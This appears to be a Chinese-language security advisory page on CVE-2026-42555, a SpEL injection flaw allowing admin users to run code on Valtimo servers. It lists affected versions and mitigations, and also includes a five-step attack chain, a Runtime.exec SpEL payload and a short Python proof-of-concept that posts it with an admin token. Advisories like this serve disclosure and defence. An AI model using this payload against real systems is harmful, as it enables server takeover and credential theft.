IPBUF安全漏洞报告
English
CVE-2026-42555 CVSS 9.1 严重

CVE-2026-42555 Valtimo SpEL注入致远程代码执行漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42555
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Valtimo

相关标签

RCESpEL注入Valtimo远程代码执行CVE-2026-42555

漏洞概述

Valtimo是一个开源业务流程自动化平台。此次受影响的组件包括com.ritense.valtimo:document、com.ritense.valtimo:case和com.ritense.valtimo:contract。这些组件在处理用户提供的输入时,使用了StandardEvaluationContext来评估Spring Expression Language (SpEL) 表达式。由于StandardEvaluationContext提供对Java类型和方法的非受限访问,具有ADMIN角色的认证攻击者可以利用此漏洞在服务器端执行任意代码,并可能导致凭据窃取。

技术细节

该漏洞源于Valtimo平台在特定功能中直接将用户输入传递给SpEL解析器进行求值,且使用了权限过大的StandardEvaluationContext。与SimpleEvaluationContext不同,StandardEvaluationContext允许SpEL表达式访问完整的Java类库,包括java.lang.Runtime和java.lang.ProcessBuilder等危险类。攻击者只需拥有管理员权限并登录系统,便可在易受攻击的参数中注入恶意表达式(例如T(java.lang.Runtime).getRuntime().exec('cmd'))。服务器在解析该表达式时,会直接执行系统命令,从而实现远程代码执行(RCE)并进一步控制服务器。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统使用的是Valtimo业务流程自动化平台,并确认版本在受影响范围内。
STEP 2
获取访问权限
攻击者通过钓鱼、弱口令爆破或其他手段获取一个具有ADMIN角色的有效用户凭证。
STEP 3
漏洞利用
攻击者使用ADMIN账户登录,并在处理SpEL表达式的接口处注入恶意的SpEL代码(如调用Runtime.exec)。
STEP 4
代码执行
服务器端使用StandardEvaluationContext解析恶意表达式,导致服务器执行攻击者指定的系统命令。
STEP 5
后渗透与数据窃取
攻击者利用已建立的命令执行通道,安装后门、窃取数据库凭据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-valtimo-instance/api/vulnerable_endpoint" # Malicious SpEL payload to execute 'id' command on Linux server # StandardEvaluationContext allows access to java.lang.Runtime spel_payload = "T(java.lang.Runtime).getRuntime().exec('id')" # Example payload structure based on common SpEL injection points payload_data = { "inputField": spel_payload } # Authentication is required (ADMIN role) headers = { "Authorization": "Bearer <ADMIN_ACCESS_TOKEN>", "Content-Type": "application/json" } try: # Sending the malicious request response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check server for command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

com.ritense.valtimo:document 12.0.0 - 12.31.x
com.ritense.valtimo:case 13.0.0 - 13.22.x
com.ritense.valtimo:contract 13.4.0 - 13.22.x

防御指南

临时缓解措施
如果不能立即升级,建议严格限制对Valtimo管理接口的网络访问,仅允许可信IP访问。同时,部署Web应用防火墙(WAF)规则,检测并拦截包含SpEL特征(如 T()、new java.lang)的恶意请求。加强对管理员账户的监控,及时发现异常操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表